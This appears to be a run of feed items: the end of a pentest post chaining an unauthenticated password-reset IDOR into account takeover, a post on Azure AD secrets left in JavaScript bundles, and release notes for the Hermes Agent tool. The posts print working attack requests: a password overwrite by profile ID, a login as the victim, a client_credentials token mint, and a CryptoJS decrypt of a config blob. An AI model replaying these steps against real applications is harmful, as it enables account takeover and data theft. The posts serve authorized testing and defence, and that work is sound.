PUT /api/profile/password body { id?, currentPassword?, newPassword }

Optional id. Optional currentPassword. The shape itself is the bug. There is no execution path where the request both takes an id and requires the current password, because the optional structure does not allow it. The attacker passes the ID and skips the password check entirely.

PUT /api/profile/password HTTP/1.1
Content-Type: application/json
 
{"id": 2, "newPassword": "pwned!2026"}

Response:
{ "message": "Password updated", "userId": "CUST-002" }

No Authorization. No current-password challenge. Sarah Thompson’s password rewritten by an anonymous request, using only the profile ID enumerated from Phase 2.

I rated this High in isolation. Broken Object Level Authorization on the write side, sitting on top of broken authentication on the same endpoint. The read side already established that profile IDs are enumerable. The write side converts that enumeration into account-level state changes. This is the moment the chain becomes practical.

Phase 4: Exploitation

Can the chain produce a state change the application’s normal threat model would not detect?

The previous phases each produced a finding. This phase produces an outcome.

Phase 4 is the only authenticated request in the chain, and the attacker authenticates as the victim.

POST /api/login HTTP/1.1
Content-Type: application/json
 
{"email":"sarah.thompson@outlook.com","password":"pwned!2026"}

Response:
    {
     "IsSuccess": true,
     "token": "eyJhbGci…Sarah's customer token…",
     "role": "customer",
     "name": "Sarah Thompson",
     "customerId": "CUST-002"
    }

I am Sarah Thompson now, as far as the application is concerned. The login endpoint cannot tell me apart from her, because the credential store says I am her.

Looped across the enumerated profile IDs, this is mass account takeover. Every one of the nearly 5000 customer records was reachable from the chain. There is no impersonation, no token forgery, no privilege escalation. The application’s authentication did its job at the login endpoint, but the application’s authentication never ran at the other endpoints, because those endpoints did not require it. Authorization decisions on the object level (should this requester be allowed to act on this specific record) never happened either.

I stopped after demonstrating impact on a single account. Exploiting the rest of the enumerable population would have served no purpose for the report.

That is the asymmetry the methodology exposes. Mass takeover by a “legitimate” login does not look like an attack to most monitoring. It looks like a customer changing their password and logging in with the new password, repeatedly. Detection systems built around “unauthorized access” do not fire, because every request to the chain’s anonymous endpoints returned 200, and every login at the end returned a valid token. Nothing in the audit log says “attack.”

The Methodology, Extracted

Read backwards from the chain that worked, the methodology has four phases.

1. Information Gathering. What does the application teach me, that I shouldn’t have learned, just by being here?

2. Vulnerability Analysis. Which inputs identify objects, and which of those are not bound to my session?

3. Attack Execution. Does the same identifier I just exfiltrated work on a write endpoint? And was authentication required at all?

4. Exploitation. Can the chain produce a state change the application’s normal threat model would not detect?

Each phase carries a severity rating taken in isolation. None is Critical. The combination is.

When the four phases are complete, the chain documents into a single table that forces clarity about three things every chain has but reports often muddle. What the attacker learned at this step, what they could do with it, and what the next step needed as input.

Toxic Vulnerability Combinations: A Pentester’s Methodology in Four Phases

Three things the table makes explicit that a typical pentest report does not.

The “Available info” row tracks what the attacker carries forward. Each column’s available info is the input needed for the next column. Phase 2 needed the API catalog and the admin hint from Phase 1. Phase 3 needed the profile IDs from Phase 2. Phase 4 needed the rewritten passwords from Phase 3. If the table has a column where “Available info” cannot be reused as input to the next column, the chain breaks. If it can, the chain holds.

The “Auth required” row records what the application demanded at each step. Three of the four phases, including the one that exfiltrated credential material and the one that rewrote passwords, demanded nothing. That single row is the structural failure the entire chain rests on.

The “Methodology question” row is the teaching artifact. When a junior pentester reviews the table, the questions are reusable. The next time they hunt a chain, they ask the same four questions of a different application. The answers will be different. The methodology will be the same.

Remediation

The chain in this post worked because three different layers of defense were missing. Authentication, object-level authorization, and information-disclosure controls. Closing the chain means closing all three. Here is the layered fix, ordered by structural importance.

1. Authentication and Authorization

These are the load-bearing fixes. Everything else is detection on top of a broken foundation.

• Require authentication on every endpoint that returns account-scoped data. GET /api/profile, GET /api/profile/password, POST /api/account/info, and PUT /api/profile/password all need a valid session token. Endpoints accept anonymous calls because the developer assumed they would only be called from “trusted internal contexts.” There is no trusted internal context for an HTTP endpoint published on the public internet.
• Implement Role-Based Access Control (RBAC) at the route layer. Admin endpoints check role === ‘admin’ in middleware before the handler runs. Comments like // admin only in source code are not access control. The check has to be in code that executes on every request.
• Implement object-level authorization (BOLA prevention). Every endpoint that takes an identifier in input verifies the requester owns the resource. The pattern is if (resource.ownerId !== session.userId) return 403. Apply this at the database query layer when possible. SELECT * FROM profiles WHERE id = ? AND owner_id = ? removes the possibility of forgetting the ownership check in handler code.
• Require the current password on self-service password changes. Not optional. The optional id or currentPassword shape on PUT /api/profile/password was the write-side bug. Endpoint signatures should have exactly one execution path. If a function needs two paths, split it into two functions.
• Do not return credential material in API responses. The legacy reset-lookup endpoint that returned hash and salt should not exist. Password reset flows are token-based and never expose hashes to any client. If a legacy SOAP or JSON wrapper produced this response shape, the fix is to delete the wrapper or rewrite it to return only what the reset flow actually needs.

2. Information Disclosure

These close the channels Phase 1 and Phase 2 used to seed the chain.

• Generic error responses on the login endpoint. The verbose IsSuccess: false shape that disclosed email, name, profile ID, and role for any registered email is a user-enumeration oracle. Login failures should return { IsSuccess: false, error: ‘Invalid credentials’ } for every failure case (wrong password, nonexistent email, locked account, expired account) with consistent timing.
• Strip developer artifacts from production bundles. The API catalog and TODO comment that powered Phase 1 of this chain should not have been in app.js. Webpack’s TerserPlugin removes comments when comments: false is set in production builds. Inline JSDoc annotations on internal routes belong in source files, not built artifacts.
• Audit preload chains. The <link rel=”preload” as=”script” href=”/js/app.js”> tag shipped the post-login dashboard’s bundle to every visitor of the login page. Route-based code splitting can prevent this. app.js should be lazy-loaded after authentication, not preloaded eagerly.
• Remove seed and test accounts before production deployment. The QA seed account qa.test@acme-portal.local should not have shipped to production. CI/CD pipelines should fail builds if seed-only email patterns appear in the database migration set targeted at a production environment.

3. Operational Layer

Detection that catches the chain even when prevention fails.

• Rate limit the login endpoint by IP and by email address. Enumeration probing requires many requests against /api/login in a short window. Rate limits slow this enough that it becomes detectable before the attacker completes the enumeration.
• Monitor for the chain’s operational signature. High-volume password resets followed by successful logins from the same IP, across multiple accounts, is the fingerprint of this attack. Detection should fire on the rate and the across-account pattern, not on any single request.
• Anomaly detection on BOLA writes. Legitimate users change their own passwords occasionally. A single client changing many accounts’ passwords in a short window is anomalous and should fire. And should fire before the chain reaches Phase 4.

Takeaways

Automated tooling is good at finding individual classes of vulnerability and bad at finding sequences. A finding has a severity, a remediation, and a report entry. A chain has none of those. The taxonomy our tooling was built around was designed for bugs, not for combinations of bugs. That is why three findings rated Low, Medium, and High can sit unremarkably in a triage backlog while the chain they compose is Critical. The tooling is necessary. It is not sufficient. The methodology is what closes the gap.

What that means for the people doing the work:

• Pentesters and bug bounty researchers. Apply the four questions in sequence. When you find an IDOR, do not stop at the IDOR. Phase 2’s output is the input to Phase 3. Look at the next write endpoint that accepts the same identifier type. And test every endpoint without an Authorization header at least once. Missing-auth on the read side is one of the most common ways a chain that should have required a token becomes anonymously exploitable.
• Code reviewers. Ask two questions of every endpoint that takes an identifier in input. “Does this endpoint require authentication?” and “What happens if a user passes someone else’s id here?” Apply both to every endpoint, not just the ones that “look” sensitive. That pair of questions, applied consistently, turns chained authorization bugs into single-endpoint authorization bugs that tooling can find before the chain forms.
• Triage teams. Read the chain as a unit, not the findings as separate items. A verbose error, an unauthenticated IDOR on a read endpoint, and a missing current-password check on a write endpoint are not three unrelated tickets. They are three halves of one chain that need to be closed in the same release.
• Developers. Every parameter that names an object the requester might not own is an authorization decision waiting to happen. Every endpoint without an authentication middleware is an authorization decision the application has already refused to make. If your endpoint signature has an optional id parameter alongside an optional currentPassword parameter, you have written two execution paths into one function and one of them is going to skip a check it shouldn’t skip.

The chain is a category of vulnerability that does not exist on a scanner’s findings list and never will. Until our tools understand sequences, the work belongs to the practitioners who already do. The methodology in this post is one way to write that work down. Four questions a junior pentester can apply to a different application tomorrow morning, with the same instinct it used to take a senior reviewer ten years to build.

Author

Hemanth Gorijala is an application security practitioner. He builds open-source security tooling, conducts web application assessments, and reviews vulnerability reports in enterprise bug bounty programs. His open-source tooling for runtime credential detection, SecretSifter, is at github.com/secretsifter.

A Pentester’s Methodology for Toxic Vulnerability Combinations was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Years of shift-left investment, and a hardcoded key still survives to production.

By Hemanth Gorijala

The Finding That Changed How I Think About Secrets

During a security assessment, I found credentials sitting in a client-side JavaScript bundle, visible to every visitor who opened DevTools.

Real Azure credentials, and I started asking: what could be done with them?

That question led to a full account takeover chain built from four values sitting in a JavaScript file the application was already serving to every visitor. The affected organization had static secret scanning on pull requests and repository scanning across their codebase. None of it had flagged the credentials, because none of it scans what an application serves. Only what developers commit.

The same pattern appeared in a second application later in the same engagement, with a different codebase and a different team, and it ended in the same outcome.

Responsible Disclosure

Both findings described in this post were identified and further investigated during authorized security assessments. Findings were reported immediately to the affected organization, remediated, and verified through retest before this publication. No user data was accessed beyond what was necessary to confirm exploitability.

The screenshots in this post come from InsecureShield, a controlled demo application built for security demonstrations. All credentials shown are synthetic and have been auth-tested as non-functional against their real providers. The patterns illustrated are reproduced from real engagements. The data shown is not.

From Finding to Full Access on Azure AD + APIM

Azure API Management (APIM) is a gateway service that sits in front of backend APIs and enforces access through two separate credential types: Azure AD bearer tokens (JWTs issued by the identity provider) and APIM subscription keys (gateway-specific pass keys scoped to API products). Both are required to reach protected endpoints. A typical Azure-native single-page application authenticates a user via Azure AD, receives a token, and then calls the backend API through the APIM gateway sending both the bearer token and the subscription key on every request.

Azure AD + APIM request flow. Two-credential gateway: Bearer token plus subscription key on every request.

The exposed credentials were not just an API key. Sitting in the client-side JavaScript bundle of a production application, Azure AD authenticated, protected by APIM, serving real users, were four values.

The AppID is legitimately public in OAuth2 public client flows. The AppKey is not. It is the client secret for a confidential client flow, designed for server-to-server authentication where the application code is not visible to end users. Client secrets are architecturally valid for server-side web applications. The problem is not that the secret exists. It is that it appeared in browser-accessible JavaScript, where it is visible to every visitor who opens developer tools.

Build-pipeline-generated /js/main.js on a controlled demo target. APIM subscription key, internal service endpoints, and a service-account key all visible to any visitor.

Together, these four values are everything needed to authenticate as the application itself. The tenant ID, required to call the token endpoint, was visible in the application’s login redirect URL, hardcoded alongside the other values in the same bundle. The tenant ID is a public identifier and is not counted among the four credential values, since its availability to any visitor is assumed.

I called the Azure AD token endpoint:

POST https://login.microsoftonline.com/{tenant_id}/oauth2/token
 
grant_type=client_credentials
client_id={AppID}
client_secret={AppKey}
resource={Resource}

It returned a fully authenticated Bearer access token. (The v1 endpoint format is shown. The v2 endpoint uses /oauth2/v2.0/token with a scope parameter in place of resource. Both remain in active use across enterprise Azure environments.)

I then read the JavaScript bundle carefully. Not just scanning for secrets, but reading it as a map of how the application was built. Buried in the minified code were API endpoint definitions. GET and POST endpoints with their complete schema structures showing exactly which parameters each endpoint expected. The frontend had documented its own backend.

Using the Bearer token and APIM subscription key together:

Authorization: Bearer {token}
Ocp-Apim-Subscription-Key: {SubscriptionKey}

I reconstructed and called the endpoints from the schemas. User profile data returned immediately. Then I found an account management endpoint, same token, same subscription key, same reconstructed schema. I reported the finding at this point and did not proceed further.

One APIM subscription key typically maps to a product containing multiple APIs.

SubscriptionKey  ->  APIM Product "Internal APIs"
                       |-- /users/*
                       |-- /payments/*
                       |-- /admin/*
                       `-- /reports/*

One exposed subscription key grants access to every API in that product. The scope of exposure is determined by how the APIM product is configured, a detail that is not visible from the client side and must be assessed in the APIM portal.

The exposed credentials alone constitute a significant finding regardless of what they unlock. A client secret in a public JavaScript file means any visitor can authenticate as the application. The blast radius depends entirely on what permissions that application has been granted.

In this case, the amplifying factor was the scope condition. Azure AD grants come in two flavors: application permissions (the token acts as the application itself, an autonomous identity with no signed-in user) and delegated permissions (the token acts on behalf of a specific signed-in user, scoped to what that user can do). The application here had been granted application permissions where delegated permissions would have been appropriate and sufficient. The application’s client identity had been given the ability to perform user-level operations across every account in the system. Without that misconfiguration, the Bearer token would have had limited reach. With it, the token was effectively an admin key to every user account in the system.

Full account takeover. From four values in a JavaScript file visible to every visitor of the application.

This was not a sophisticated attack. No exploit framework was needed. The chain came from reading the JavaScript file the application was already serving to everyone, and understanding what the credentials unlocked.

The CryptoJS Locked Box With the Key Taped On

A different application from the same engagement, a different codebase, and the same Azure AD credential pattern waiting at the end.

The frontend JavaScript contained a CryptoJS-encrypted configuration blob, a common pattern in single-page applications where configuration is bundled into the frontend and obfuscated using a client-side encryption library. The intent is that the configuration is protected because it is encrypted.

Client-side encryption can never protect a secret from the client. If the browser needs to decrypt the configuration, the decryption key has to be present in the browser. Anyone who opens DevTools has the same access.

The decryption key was hardcoded in the same JavaScript file, three lines away from the encrypted blob.

The ciphertext, the key, and the call that joins them, all in the same file a few lines apart. Open the browser console, paste the three pieces, and the configuration object falls out in plaintext in under a minute.

The decrypt itself is a single line, run in the browser’s developer console using the same CryptoJS library the application ships.

CryptoJS.AES.decrypt(encryptedConfig, hardcodedKey).toString(CryptoJS.enc.Utf8)

What came out was a complete configuration object. The Azure AD client credentials for that application’s service principal (AppID, AppKey, Resource), the APIM subscription key, internal service endpoints the app talks to, third-party service keys, and the connection strings the build pipeline had wrapped. Everything the application needed at runtime, returned in plaintext to anyone who opened devtools. The encryption had provided exactly zero protection. The secret to unlock everything was sitting next to the lock.

The decrypted object contained the same pattern. AppID, AppKey, Resource, and Azure AD client credentials embedded in what developers believed was a secured configuration. As with the first finding, the service principal had been granted over-permissive scopes, allowing an application-level token to perform user-level data access operations.

I called the same Azure AD token endpoint with the decrypted credentials. A Bearer token came back. I read the bundle for endpoint definitions, the same pattern as before, schemas embedded in the minified code. Authenticated GET calls returned full user profile data such as names, email addresses, and account details, for any user in the application. I reported the finding and stopped.

The CryptoJS-encrypted configuration pattern is particularly dangerous because it creates a false sense of security. Developers implement it believing the configuration is protected. Security teams see encryption and move on. The decryption key sitting next to the ciphertext makes the entire construct meaningless, but only if you read the whole file rather than scan it for plaintext secrets.

The Pattern Repeats

After the second chain, I started wondering how many other applications in the same engagement had the same problem. The answer wasn’t reassuring.

The same construct recurred across multiple unrelated codebases: build-time injection of Azure AD client_credentials, CryptoJS-encrypted configuration with the decryption key three lines from the ciphertext, and plaintext credentials sitting directly in client-side JavaScript. Different teams, different stacks within the same organizational portfolio, all converging on the same outcome.

The credentials were recoverable from successful page responses and from a small number of error responses, including geo-restricted and authentication-required pages. The single-page application bundle loads its full configuration regardless of session state. Even when the application refuses to authenticate you, the JavaScript shell still loads with the credentials baked in.

Every one of these applications was deployed by an organization running automated secret scanning in CI/CD and SAST on every pull request. The credentials were still live in production.

These were not two isolated mistakes. They reflect how single-page applications routinely reach production at enterprise scale.

The Path Shift-Left Never Sees

After the second chain, the question I kept coming back to was how the credentials got there in the first place.

In each case, this was not negligence. These were mature, well-built applications with authentication layers, gateway controls, structured API design. Organizations that build this way have shift-left tooling. The secrets got through anyway.

The shift-left tools had done their job. The secrets found a path they weren’t watching, introduced through a build process, an environment injection, a third-party dependency update, or a deployment step that happened outside the scanned path. One common example involves REACT_APP_* environment variables bundled at build time via webpack’s DefinePlugin, live keys baked into the JavaScript bundle, never touching the repository, invisible to every pre-commit scanner. Another is CI/CD pipeline variable substitution. A placeholder like #{APIM_SUB_KEY}# lives in the repository while the real value is injected by the deployment pipeline at build time. The secret never exists in git. It materializes only in the build artifact, after every scanner has already run.

Source code (.ts, config files). ← Shift-left scans HERE

                          ↓ [pipeline variable substitution / build]

dist/main.abc123.js (minified) ← Secret exists HERE - never scanned

                          ↓ [deploy to CDN]

Live app at https://app.example.com ← Secret is live HERE - DAST ignores it

                          ↓ [browser fetches config.json]

Runtime-fetched config ← Secret fetched HERE - invisible to everything

Shift-left tools scan what you commit. They do not scan what you serve.

A second path compounds the structural one. Many SPA architectures require certain credentials in the browser to function: a Google Maps API key to render maps, a Firebase configuration to authenticate users, a Stripe publishable key to initialize the payment SDK. These keys cannot be removed without breaking the application. When shift-left scanners encounter them in source files or CI/CD configuration, the build fails and the pull request is blocked. Developers facing this friction do not remove the key. They suppress the scanner in one of these ways:

• Adding files or directories to the scanner’s ignore list or allowlist
• Excluding configuration directories or environment files from the scan scope
• Dismissing alerts as “false positive” or “used in tests”
• Adding inline suppression comments to affected lines
• Allowlisting the specific secret pattern in the SAST ruleset

The suppression is deliberate and made under pipeline pressure. Once in place, the same credential reaches every subsequent deployment without detection because the scanner has been explicitly configured to stop observing it.

The Shift-Right Gap

The industry has spent years building the left side of this picture. The right side is almost empty.

Shift-left, pre-production

• Secret scanning is mature, well-funded, and widely deployed. GitLeaks, TruffleHog, detect-secrets, and GitHub Advanced Security cover this layer.
• SAST is well covered by Semgrep, SonarQube, and Checkmarx.
• SCA is well covered by Snyk and Dependabot.

Shift-right, production runtime

• DAST tools are built as web application scanners, designed to find injection vulnerabilities, authentication flaws, and misconfigurations, not hardcoded credentials in served responses.
• Runtime secret scanning has limited purpose-built tooling.

This is not a criticism of DAST tools. They solve a different problem. Azure AD credentials hardcoded in a minified webpack bundle do not look like an injection vulnerability. They do not trigger an XSS finding. They do not appear in a DAST report. They are invisible to the entire shift-right tooling category because that category was never designed to find them.

Once a secret evades shift-left controls and reaches production, it disappears from every scanner’s view.

Today, only three sources find these credentials at all.

• A manual penetration tester who reads JavaScript carefully
• A security researcher or bug bounty hunter
• An attacker

Two of those three report what they find. One does not.

The Attack Surface Existing Tools Miss

To understand why DAST stays silent, it helps to see exactly what it is not looking at. The available tooling doesn’t cover the actual attack surface of a modern web application:

• Single-page applications built with React, Vue, or Angular where the entire application is a minified webpack bundle split across dozens of chunk files
• Encrypted configuration objects where a client-side encryption library decrypts a configuration blob using a key hardcoded in the same file — the decryption key sitting next to the ciphertext makes the encryption meaningless, and the complete credential set is one step away from exposure
• HTML view-source scanning for SSR state blobs — the __NEXT_DATA__ or window.__INITIAL_STATE__ objects injected into HTML by Next.js and Nuxt that regularly contain tokens and internal configuration
• JSON API responses that return credentials in fields never meant to be client-facing
• XML responses from enterprise services carrying connection strings and service credentials
• Request headers on every outbound API call carrying subscription keys and bearer tokens in plaintext

And critically, none of them have noise suppression adequate for real-world use. A tool that generates hundreds of false positives per scan is a tool that gets disabled. Noise suppression decides whether findings get acted on or ignored.

Scanning build artifacts in CI/CD before deployment closes part of this gap. It catches secrets that pipeline variable substitution baked in before they reach production. But it does not cover runtime-fetched configurations that applications load after deployment, lazy-loaded chunks served dynamically from CDN, or credentials embedded in third-party scripts that never touch your build pipeline. Artifact scanning is a useful layer. It is not the runtime layer.

The Bigger Picture

The shift-left investment the industry has made is real, justified, and valuable. Catching secrets before deployment is always better than catching them after.

But secrets are still reaching production. They evade controls not because the tools are bad, but because the path from development to deployment has more branches than any single scanning layer can cover. And once a secret reaches the runtime layer, today’s tooling goes silent.

Millions of dollars invested in shift-left scanning. No purpose-built, production-grade tooling on the shift-right side.

Two independent studies confirm this at internet scale.

In December 2025, Intruder published research scanning approximately 5 million applications and identifying around 42,000 exposed tokens. That work establishes population prevalence at internet scale and confirms that standard DAST and infrastructure scanners do not cover this surface.

In early 2026, Demir et al. published “Keys on Doormats” on arXiv, an academic measurement study that crawled 10 million pages across the public web and extracted 1,748 distinct credentials. 84 percent of the recovered credentials were embedded in JavaScript. The median credential persisted in the wild for 12 months. The study covered 14 cloud and SaaS providers. Different methodology, same conclusion. The runtime layer is unscanned at internet scale, and credentials persist long enough to be found and abused.

The chains in this post show what those credentials unlock once an attacker reads them. These patterns appear in production applications serving real users today. Both targets had secret scanning enabled. Neither had runtime coverage.

Attackers already know this. Most security teams don’t have an answer for it yet.

What You Can Check Today

For security teams, the immediate check is simple. Open DevTools on your own production application, go to the Network tab, and read what is being served. Look at the JavaScript bundle source, the API response payloads, and the request headers. Look specifically for patterns like client_id, client_secret, AppKey, SubscriptionKey, apiKey, or any high-entropy string in a configuration object. No tooling required. What you find in ten minutes is what an attacker finds in ten minutes.

If your organization runs Angular or React SPAs that talk to Azure AD plus APIM, the ten-minute DevTools check is the highest-value security review you can do this week.

Why Existing Tools Don’t Close the Gap

The runtime-scanning category is not empty. A skeptical reader at this point should be asking what existing tools already cover this surface and what they don’t.

Repo and file scanners like GitLeaks, detect-secrets, and GitHub Advanced Security are mature and well-deployed. They scan what is in source control. They do not scan what the application serves at runtime.

TruffleHog sits in its own category. It scans repos and filesystems, accepts URL lists through its HTTP source, and verifies whether discovered credentials are live, which most scanners don’t do. Pointed at downloaded JavaScript bundles or URL lists, it works well within those inputs. What it does not do is treat the live application as a black box, capturing whatever the application serves as it runs. The dynamically loaded chunks, JSON and XML response bodies, and request headers that appear during real execution stay outside the URL-list input.

Active crawlers like Cariddi, SecretFinder, LinkFinder, and jsleak fetch JavaScript files and run regex matches over the content. They are useful for the public surface of an application. They are static fetchers. They do not observe the application as it actually runs, and they do not capture API response bodies, request headers, or lazy-loaded chunks that materialize only during real execution.

Template scanners like Nuclei with community secret-leak templates hit specific URLs and regex-match responses. They depend on knowing the URLs in advance and on someone maintaining the templates. They are not passive observers of whatever the application serves.

DAST scanners like OWASP ZAP, Burp Scanner, and commercial equivalents look for injection vulnerabilities, authentication flaws, and misconfigurations. They were not built to find hardcoded credentials in served responses, and they don’t.

Each category solves a piece of the problem. What none of them do is the combination that runtime credential exposure actually requires. Four properties have to be present together.

• Black-box operation. No source code, no API documentation, no prior knowledge of the application. The tool sees what an external attacker sees.
• Observe runtime traffic. JS bundles, JSON and XML response bodies, request headers, HTML SSR state blobs, and dynamically loaded chunks. Whatever the application actually serves as it runs.
• Detect encrypted-blob constructs. CryptoJS-style decryption keys hardcoded next to the ciphertext. A plaintext-only scanner walks right past these.
• Aggressive noise suppression. Runtime traffic is full of UUIDs, cache busters, and high-entropy strings that aren’t credentials. A tool that generates hundreds of false positives per scan is a tool that gets disabled within a week.

Without all four together, the tool either misses what the application actually serves, or generates so much noise it gets turned off.

Four Layers of Defense

The disclosures and the research that followed point to the same hole in the stack. Secrets that reach production are not being scanned at the runtime layer. Closing this gap is not a single fix. It is a four-layer defense, two layers of prevention followed by two layers of detection.

Prevention:

[1] Backend for Frontend (BFF). The structural fix. The credential never enters the browser. The frontend sends only a session cookie to a BFF server, the BFF fetches the credential from a vault at runtime, and the BFF calls upstream APIs on behalf of the user. If a credential never leaves the server, it cannot leak from the browser.

BFF is the right destination, but it is not a same-day change. The frontend uses those credentials today to talk to backends. Removing them outright breaks the application. A real migration to BFF means standing up a server-side proxy, re-routing every API call from the SPA through it, replacing bearer-token authentication in the browser with session cookies, and reworking CORS, CSRF, and any WebSocket or server-sent-event paths the application currently uses. For a non-trivial SPA, that is a multi-quarter project that cuts across frontend, backend, identity, and infrastructure teams. During that migration, the credential remains in the browser. Detection layers below carry the load until the structural fix lands.

[2] Secrets manager and short-lived tokens. Azure Key Vault, AWS Secrets Manager, HashiCorp Vault. The BFF reads the credential at runtime, mints short-lived scope-limited tokens for downstream calls, and never embeds long-lived secrets anywhere a client can reach. A short-lived token leaked from a browser still leaks, but the blast radius is bounded by the token’s expiry and scope rather than by the lifespan of a hardcoded client secret.

Detection:

[3] Artifact scanning between build and deploy. A CI/CD job that scans dist/ output after the bundler runs but before the artifact ships. Catches credentials that build-time injection inlines into the bundle and never touches the repository. Most pipelines have stage-1 source scanning but stop short of stage-2 artifact scanning. Adding it is a CI/CD job, not a project.

[4] Runtime secret scanning. Passive observation of served traffic. The only layer that catches lazy-loaded chunks, SSR state, runtime-fetched config, and credentials in response headers. These materialize only during execution and cannot be predicted from static source files.

Layers 1 and 2 remove the credential from the surface. Layers 3 and 4 catch what slips through. Start all four at once rather than waiting for prevention to land first: Layers 3 and 4 can ship in days, Layer 2 in weeks, and Layer 1 in quarters. The detection layers are what protect you while the prevention layers are being built. Most organizations today run Layer 1 partially, skip Layers 2 and 3 entirely, and have no answer for Layer 4.

Closing the Runtime Gap

I’m continuing the work on the layer-4 side with SecretSifter, an open-source passive runtime secret scanner that reads HTTP traffic for the credentials shift-left tools cannot see. It ships as a Burp Suite extension, a browser extension, and a desktop application.

• github.com/secretsifter/secretsifter-burp
• github.com/secretsifter/secretsifter-extension
• github.com/secretsifter/secretsifter-desktop

Try the Walk-Through Yourself

The screenshots and chains in this post are reproducible end-to-end against InsecureShield, an intentionally vulnerable insurance portal published at github.com/secretsifter/insecureshield-demo. Every credential, endpoint, and response in the screenshots above comes from that public demo. The credentials are synthetic and have been auth-tested against their real providers as non-functional.

A step-by-step walk-through, with both chains worked from view-source through token mint to data exfiltration, lives in the repository at docs/reproduction-guide.html.

git clone https://github.com/secretsifter/insecureshield-demo
cd insecureshield-demo
npm install
npm start

About the Author

Hemanth Gorijala is an application security practitioner and penetration tester. He conducts web application security assessments, reviews vulnerability reports in enterprise bug bounty programs, and maintains SecretSifter, a free, open-source runtime secret detection tool.

Secrets That Survive Everything was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Release Date: May 16, 2026
Since v0.13.0: 808 commits · 633 merged PRs · 1393 files changed · 165,061 insertions · 545 issues closed (12 P0, 50 P1) · 215 community contributors (including co-authors)

The Foundation Release — Hermes Agent installs and runs anywhere now. Native Windows ships in early beta with a full PowerShell installer story, a pip install hermes-agent wheel lands on PyPI, lazy-deps reshape what pip install hermes-agent actually pulls down, the supply-chain checker scans every install/upgrade for unsafe versions, and a new OpenAI-compatible local proxy lets Codex / Aider / Cline talk to OAuth-only providers (Claude Pro, ChatGPT Pro, SuperGrok). The cold-start wave shaves ~19 seconds off hermes launch, browser-tool CDP calls run 180x faster, and hermes tools All-Platforms drops from 14s to under 1.5s. Two new messaging platforms (LINE and SimpleX Chat) and a Microsoft Graph foundation (Teams pipeline + webhook adapter) land alongside /handoff that finally transfers sessions live, vision_analyze passing pixels through to vision-capable models, x_search as a first-class tool, LSP semantic diagnostics on every write_file / patch, a unified pluggable video_generate, a computer_use cua-driver backend, cross-session 1-hour Claude prompt caching, a per-turn file-mutation verifier, plus 9 new optional skills. 50+ P1 closures, 12 P0 closures.

✨ Highlights

• Native Windows support (early beta) — full PowerShell installer, native subprocess/PTY paths, taskkill-based process management, MinGit auto-install, Microsoft Store python stub detection, foreground Ctrl+C preservation, taskkill+ps2 fallback, npm prefix handling, and ~40 follow-up Windows-only fixes across CLI / gateway / TUI / curator / tools. Hermes finally runs natively on cmd.exe and PowerShell, no WSL required. (#21561, #22130, #22752, #26618, and many more)

• pip install hermes-agent && hermes — Hermes Agent is now a real PyPI package. One command, no clone, no git, no shell installer. Wheel includes the Ink TUI bundle and shell launcher. (salvage of #26350) (#26593)

• Cold-start performance wave — ~19s off hermes launch — skills cache, lazy Feishu import, no Nous HTTP at startup, plus PEP-562 lazy adapter imports (QQ, Yuanbao, Teams, Google Chat), deferred fal_client / google-cloud / httpx loads, models.dev disk-cache-first lookup, parallel doctor API checks, eager-skip plugin discovery on built-in subcommands, hermes tools All-Platforms drops from 14s to <1.5s, welcome banner skipped on chat -q. (#22138, #22120, #22681, #22790, #22808, #22831, #22859, #22904, #22766, #25341)

• 180x faster browser_console evaluations — routed through the supervisor's persistent CDP WebSocket instead of spawning a fresh DevTools session per call. Real-world page interactions feel instant. (#23226)

• Supply-chain advisory checker + lazy-deps framework + tiered install fallback — every pip install / hermes update scans dependencies against an advisory list, lazy-deps replace heavy import-time loads with first-use installs, and the installer falls back through extras tiers when a wheel rejects on the target platform. (#24220)

• OpenAI-compatible local proxy — hermes proxy exposes any OAuth-authed provider (Claude Pro, ChatGPT Pro, SuperGrok) as an OpenAI-compatible endpoint that Codex / Aider / Cline / VS Code Continue can hit. Your subscription, your tools. (#25969)

• Cross-session 1-hour Claude prompt cache — Anthropic / OpenRouter / Nous Portal now share a 1h prefix cache across sessions for Claude models. Fast resume, fast /new, lower cost on repeat work. (#23828)

• Two new messaging platforms — LINE + SimpleX Chat — LINE Messaging API lands as a first-class platform, SimpleX Chat salvages #2558 onto the modern adapter spec. Hermes is now on 22 platforms. (#23197, #26232)

• Microsoft Graph foundation — Teams pipeline + webhook adapter — msgraph auth/client foundation, webhook listener platform, Teams pipeline plugin runtime, and Teams outbound delivery via the existing adapter — Hermes can now read and post to Teams. (salvages of #21408–#21411) (#21922, #21969, #22007, #22024)

• /handoff actually transfers the session live — the agent's active session moves to a different model / persona / profile mid-conversation, with messages, tool history, and context preserved. (#23395)

• x_search — first-class X (Twitter) search tool — gated tool with OAuth-or-API-key auth, no skill needed to query the timeline. (#26763)

• vision_analyze returns pixels to vision-capable models — when the active model can see, vision_analyze now hands the image straight through instead of falling back to a text description. (#22955)

• LSP semantic diagnostics on every write — write_file and patch now run real language-server diagnostics on the post-edit file (delta-only) and surface real errors before they ship downstream. (#24168, #25978)

• Per-turn file-mutation verifier footer — after every turn that wrote files, the agent gets a verifier footer summarizing what actually changed on disk — catches silent overwrites and "wrote it but it didn't land" bugs. (#24498)

• Unified video_generate with pluggable provider backends — single tool, any backend. Drop in a new video provider as a plugin, no core changes. (#25126)

• computer_use cua-driver backend — proper focus-safe ops, non-Anthropic provider support, refresh on hermes update. Computer-use is no longer locked to a single SDK. (re-salvage of #16936) (#21967, #24063)

• xAI Grok OAuth provider — SuperGrok via subscription — sign in with your xAI account, talk to Grok models from Hermes. (#26534)

• Clarify with buttons — native inline keyboards on Telegram + Discord — the clarify tool renders multi-choice prompts as platform-native buttons instead of typed responses. (#24199, #25485)

• Discord channel history backfill (default on) — Hermes reads recent channel history when joining a thread so it actually knows what's been said. (#25984)

• Watchers skill — RSS / HTTP JSON / GitHub polling via cron no_agent mode — skill recipes that wire change-detection sources directly into cron's script-only watchdog mode. (#21881)

• Zed ACP Registry integration + uvx distribution — Hermes is in the Zed registry, installable via uvx (no npm). Plus hermes acp --setup-browser bootstraps browser tools for registry installs. (salvage of #25908) (#26079, #26120, #26234)

• OpenRouter Pareto Code router — wire a new OpenRouter router with min_coding_score knob. Pick the cheapest model that meets your quality bar. (#22838)

• Optional codex app-server runtime for OpenAI/Codex models — drives the OpenAI Codex CLI under the hood for OpenAI/Codex paths, with session reuse, wedge retirement, and OAuth refresh classification. (#24182, #25769)

